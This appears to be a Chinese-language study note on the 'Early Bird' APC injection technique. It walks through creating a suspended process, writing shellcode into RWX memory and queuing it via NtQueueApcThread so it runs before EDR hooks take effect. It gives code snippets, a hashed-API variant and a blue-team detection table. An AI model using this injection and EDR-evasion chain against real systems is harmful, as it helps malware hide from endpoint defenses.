Early Bird 时序攻击——在 EDR 钩子落地前执行知识点整理

- **核心目标**

理解 Early Bird 的核心思路——利用 CreateProcess(CREATE_SUSPENDED) 创建挂起进程时，EDR 的用户态钩子尚未完全落地的时间窗口，通过 APC 向主线程注入 Shellcode，使 Shellcode 在进程入口点执行之前就运行。

核心认知：Early Bird 是 APC 注入的"时序版"——从"往已有进程投递 APC"升级为"在进程出生瞬间投递 APC"。

- **涉及的核心结构体**

(一) STARTUPINFOA（启动信息结构）

```
typedef struct _STARTUPINFOA {
    DWORD   cb;   // 0x00  ← 结构体大小（必须初始化为 sizeof(STARTUPINFOA)）
    LPSTR   lpReserved;             // 0x08
    LPSTR   lpDesktop;              // 0x10
    LPSTR   lpTitle;                // 0x18
    DWORD   dwX;                    // 0x20
    DWORD   dwY;                    // 0x24
    DWORD   dwXSize;                // 0x28
    DWORD   dwYSize;                // 0x2C
    DWORD   dwXCountChars;          // 0x30
    DWORD   dwYCountChars;          // 0x34
    DWORD   dwFillAttribute;        // 0x38
    DWORD   dwFlags;                // 0x3C
    WORD    wShowWindow;            // 0x40
    WORD    cbReserved2;            // 0x42
    LPBYTE lpReserved2;             // 0x48
    HANDLE hStdInput;               // 0x50
    HANDLE hStdOutput;              // 0x58
    HANDLE hStdError;               // 0x60
} STARTUPINFOA;
```

> **关键：**cb 字段必须初始化为 sizeof(STARTUPINFOA)，否则 CreateProcessA 会失败。代码中 STARTUPINFOA si = { sizeof(si) }; 就是干这个的。

(二) PROCESS_INFORMATION（进程信息结构）

```
typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess;          // 0x00  ← 新进程的句柄
    HANDLE hThread;           // 0x08  ← 新进程主线程的句柄（Early Bird 的核心!）
    DWORD   dwProcessId;      // 0x10  ← 新进程的 PID
    DWORD   dwThreadId;       // 0x14  ← 新进程主线程的 TID
```

```
} PROCESS_INFORMATION;
```

> **关键：**hThread 是主线程句柄，Early Bird 直接用它投递 APC，不需要 OpenThread（因为创建进程时已经拿到了句柄）。

(三) ApiFuncs（无 IAT 版的函数指针容器，非系统结构体）

```
struct ApiFuncs {
    pCreateProcessA          CreateProcessA;
    pVirtualAllocEx          VirtualAllocEx;
    pWriteProcessMemory    WriteProcessMemory;
    pResumeThread             ResumeThread;
    pCloseHandle              CloseHandle;
    pNtQueueApcThread       NtQueueApcThread;
    bool                         valid;
};
```

> **亮点：**把 6 个 API 打包，在 InitApiFuncs()中一次性哈希解析，避免散落在 main 中。

- **涉及的关键宏与常量**

宏/常量	值	作用
CREATE_SUSPENDED	0x00000004	创建挂起进程（主线程不执行）——Early Bird 的核心标志
MEM_COMMIT | MEM_RESERVE	0x1000 | 0x2000	提交并保留内存
PAGE_EXECUTE_READWRITE	0x40	可读可写可执行（APC 注入常用）
MEM_RELEASE	0x8000	完全释放内存
(DWORD)-1	0xFFFFFFFF	ResumeThread 失败的返回值

- **涉及的所有 API 函数**

➢ **进程创建**

(一) CreateProcessA 创建挂起进程（核心）

```
BOOL CreateProcessA(
    [in, optional]      LPCSTR                  lpApplicationName,
    [in, out, optional] LPSTR                   lpCommandLine,
    [in, optional]      LPSECURITY_ATTRIBUTES   lpProcessAttributes,
    [in, optional]      LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    [in]                BOOL                    bInheritHandles,
    [in]                DWORD                   dwCreationFlags,
    [in, optional]      LPVOID                  lpEnvironment,
    [in, optional]      LPCSTR                  lpCurrentDirectory,
    [in]                LPSTARTUPINFOA          lpStartupInfo,
    [out]               LPPROCESS_INFORMATION   lpProcessInformation
);
```

CREATE_SUSPENDED 的作用：进程、主线程已创建，但主线程挂起不执行任何代码。

关键输出：pi.hProcess（进程句柄）、pi.hThread（主线程句柄）、pi.dwProcessId、pi.dwThreadId。

- **内存操作**

(一) VirtualAllocEx 远程申请内存

```
LPVOID VirtualAllocEx(
    [in]            HANDLE    hProcess,
    [in, optional]  LPVOID    lpAddress,
    [in]            SIZE_T    dwSize,
    [in]            DWORD     flAllocationType,
    [in]            DWORD     flProtect
);
```

(二) WriteProcessMemory 写入 Shellcode

```
BOOL WriteProcessMemory(
    [in]    HANDLE    hProcess,
    [in]    LPVOID    lpBaseAddress,
    [in]    LPCVOID   lpBuffer,
    [in]    SIZE_T    nSize,
    [out]   SIZE_T    *lpNumberOfBytesWritten
);
```

- **线程控制（Early Bird 核心）**

(一) NtQueueApcThread 向主线程投递 APC

```
NTSTATUS NtQueueApcThread(
    [in]                HANDLE              ThreadHandle,
    [in]                PPS_APC_ROUTINE     ApcRoutine,
    [in, optional]      PVOID               ApcArgument1,
    [in, optional]      PVOID               ApcArgument2,
    [in, optional]      PVOID               ApcArgument3
);
```

(二) ResumeThread 恢复主线程（触发 APC 执行）

```
DWORD ResumeThread(
    [in]  HANDLE    hThread
);
```

返回值：成功返回线程之前的挂起计数（通常为 1），失败返回 (DWORD)-1。

关键：ResumeThread 后，主线程开始执行，在执行入口点之前会先检查 APC 队列。

- **清理与失败路径**

(一) TerminateProcess 终止目标进程（失败路径清理）

```
BOOL TerminateProcess(
    [in] HANDLE     hProcess,
    [in] UINT       uExitCode
);
```

用途：任何一步失败时，终止挂起的进程，避免留下“僵尸进程”。

(二) CloseHandle 关闭句柄

```
BOOL CloseHandle(
    [in]  HANDLE     hObject
);
```

- **明文版专用 API**

GetModuleHandleA 获取 ntdll.dll 句柄

GetProcAddress 获取 NtQueueApcThread 地址

- **完整的利用链（Early Bird 时序攻击）**

```
第 1 步：创建挂起进程（关键时序窗口开始）
    CreateProcessA(NULL, "notepad.exe", ..., CREATE_SUSPENDED, ..., &si, &pi)
            |
            ├── 进程已创建，但主线程被挂起，不执行任何代码
            ├── 此时 ntdll.dll 已映射，但 EDR 的用户态钩子尚未落地
            └── 拿到 pi.hProcess / pi.hThread / pi.dwProcessId
第 2 步：申请内存 + 写入 Shellcode
    VirtualAllocEx(pi.hProcess, NULL, size, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
            |
            └── 拿到 pRemoteMem
    WriteProcessMemory(pi.hProcess, pRemoteMem, shellcode, size, NULL)
            |
            └── Shellcode 已写入目标进程
第 3 步：向主线程投递 APC（关键!）
    NtQueueApcThread(pi.hThread, (PVOID)pRemoteMem, NULL, NULL, NULL)
            |
            └── APC 已进入主线程的队列（此时主线程仍挂起）
第 4 步：恢复主线程（触发 APC 派发）
    ResumeThread(pi.hThread)
            |
            └── 主线程开始执行，执行顺序:
                ① LdrInitializeThunk（加载器初始化）
                ② NtTestAlert（检查 APC 队列 → 发现 APC → 执行 Shellcode!）
                ③ BaseThreadInitThunk（线程初始化）
```

④ 进程入口点（notepad.exe 的 main/WinMain）

|

└——— Shellcode 在入口点之前执行完毕

第 5 步：清理句柄

CloseHandle(pi.hThread)

CloseHandle(pi.hProcess)

文字总结：

- 创建挂起进程 → 拿到主线程句柄，进入“EDR 钩子未落地”的窗口期
- 申请+写入 → Shellcode 放进目标进程
- 投递 APC → 塞进主线程队列（主线程仍挂起）
- 恢复线程 → 主线程开始执行，在入口点之前先派发 APC
- 清理句柄 → 让进程正常跑完

- **核心时序详解（Early Bird 的灵魂）**

➢ **主线程从挂起到执行的完整时序**

```
CreateProcess(CREATE_SUSPENDED)
        |
        ▼
┌──────────────────────────────────────────┐
| 进程已创建，主线程已创建，但处于挂起状态 |
| ntdll.dll 已映射，但 EDR 钩子尚未安装    |
| ← 这是 Early Bird 的“黄金窗口”           |
└──────────────────────────────────────────┘
        |
        |  ← 在这步写入 Shellcode + 投递 APC
        ▼
ResumeThread(pi.hThread)
        |
        ▼
    ntdll!LdrInitializeThunk（加载器初始化，安装 EDR 钩子）
        |
        ▼
    ntdll!NtTestAlert（检查 APC 队列）
        |
        ├——— 发现 APC → 执行 Shellcode（mov eax, 42; ret）
        |
        ▼
    kernel32!BaseThreadInitThunk（线程初始化）
        |
```

```
        ▼
进程入口点（notepad.exe 的 WinMain）
        |
        ▼
进程正常运行
```

➢ **为什么 Shellcode 能在入口点之前执行**

核心机制：Windows 线程启动时，会调用 ntdll!LdrInitializeThunk 进行加载器初始化，紧接着调用 ntdll!NtTestAlert 检查 APC 队列。如队列中有 APC 先执行 APC，再继续到入口点。

注意：这是 Windows 线程启动的固定行为，不是漏洞——微软设计 APC 机制时，就是为了让线程在启动时能执行"待办事项"。

➢ **为什么说"EDR 钩子尚未落地"**

EDR 用户态钩子的安装时机：

- EDR 常通过 DLL 注入或驱动注册回调的方式，在进程启动时安装 ntdll 钩子。
- 安装时机通常在 LdrInitializeThunk 阶段（加载器初始化时）。
- 但 Early Bird 的 APC 在 LdrInitializeThunk 之后、NtTestAlert 时执行——此时钩子可能已经安装了一部分，但尚未完全生效。
- 关键：APC 派发是内核直接调用，不经过 ntdll 的用户态函数入口，所以即使钩子已安装，APC 回调也不会被钩子拦截。

> 修正认知：Early Bird 的"钩子未落地"说法不完全准确。准确说法是：APC 派发路径绕过了用户态钩子，且 Early Bird 利用了"进程刚启动、EDR 尚未完全介入"的时间窗口。

● **其他必要的扩展知识点**

➢ **Early Bird vs APC 注入 vs CreateRemoteThread**

维度	CreateRemoteThread	APC 注入	Early Bird
目标	已有进程	已有进程	新创建进程（挂起）
线程	新建远程线程	复用已有线程	复用主线程
线程数变化	+1	不变	不变
执行时机	立即	等 Alertable	入口点之前
是否需要 OpenThread	否（新建）	是	否（pi.hThread 已拿到）
EDR 钩子影响	受钩子监控	受钩子监控	APC 派发绕过用户态钩子
任务管理器可见性	新线程可见	无线程变化	无线程变化
CFG	需合法入口	不检查	不检查

➢ **为什么 Early Bird 不需要 OpenThread**

CreateProcessA 返回的 PROCESS_INFORMATION 中，hThread 是主线程的完整权限句柄（包含 THREAD_SET_CONTEXT 等所有权限）。所以直接用它投递 APC 即可，不需要额外 OpenThread。

这是 Early Bird 比普通的 APC 注入更简洁的地方：省去了"枚举线程 → 打开线程"两步。

➢ **ResumeThread 的返回值陷阱**

```
if (ResumeThread(pi.hThread) == (DWORD)-1) {
```

```
    // 失败
}
```

- 成功时返回之前的挂起计数（通常是 1，因为 CREATE_SUSPENDED 让它挂起了一次）。
- 失败时返回 (DWORD)-1（即 0xFFFFFFFF）。
- 注：不能判断“返回值是否为 0”，因为返回值是“之前的计数”，非“成功/失败”。

➢ **失败路径的清理：TerminateProcess**

```
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
```

为什么需要 TerminateProcess：

- 如果注入失败，挂起的进程会一直挂在那里，成为“僵尸进程”。
- TerminateProcess 强制终止它，避免资源泄漏。
- 注意：成功路径不要调用 TerminateProcess，让进程正常跑。

➢ **Early Bird 的检测特征（蓝队视角）**

检测点	说明
CREATE_SUSPENDED 标志	正常程序很少用此标志创建进程
NtQueueApcThread 跨进程调用	正常程序极少跨进程投递 APC
主线程 APC 队列	主线程刚启动就有 APC，极其可疑
PAGE_EXECUTE_READWRITE 内存	目标进程出现 RWX 页
进程创建 + 立即恢复	创建后立即 ResumeThread，行为模式可疑

➢ **Early Bird 的局限性**

- 只能注入新创建的进程：不能注入已有进程。
- 需要控制进程创建：必须由攻击者自己调用 CreateProcess，不能对“别人创建的进程”使用。
- ResumeThread 后进程可能很快退出：如果目标进程是短命进程（如 cmd.exe /c whoami），Shellcode 可能来不及执行完。
- APC 例程的调用约定：x86 下必须用 ret 0x0C（清 3 个参数栈），x64 下用 ret（本课 Shellcode 是 x64 版）。

● **必须掌握的核心代码片段**

➢ **创建挂起进程**

```
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(
    NULL,
    (LPSTR)"C:\\Windows\\System32\\notepad.exe",
    NULL, NULL, FALSE,
    CREATE_SUSPENDED,    // 关键
```

```
    NULL, NULL,
    &si, &pi);
```

- **申请 + 写入 Shellcode**

```
LPVOID pRemoteMem = VirtualAllocEx(
    pi.hProcess, NULL, shellcodeSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteMem, shellcode, shellcodeSize, NULL);
```

- **投递 APC + 恢复线程**

```
NtQueueApcThread(pi.hThread, (PVOID)pRemoteMem, NULL, NULL, NULL);
ResumeThread(pi.hThread);
```

- **失败路径清理**

```
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
```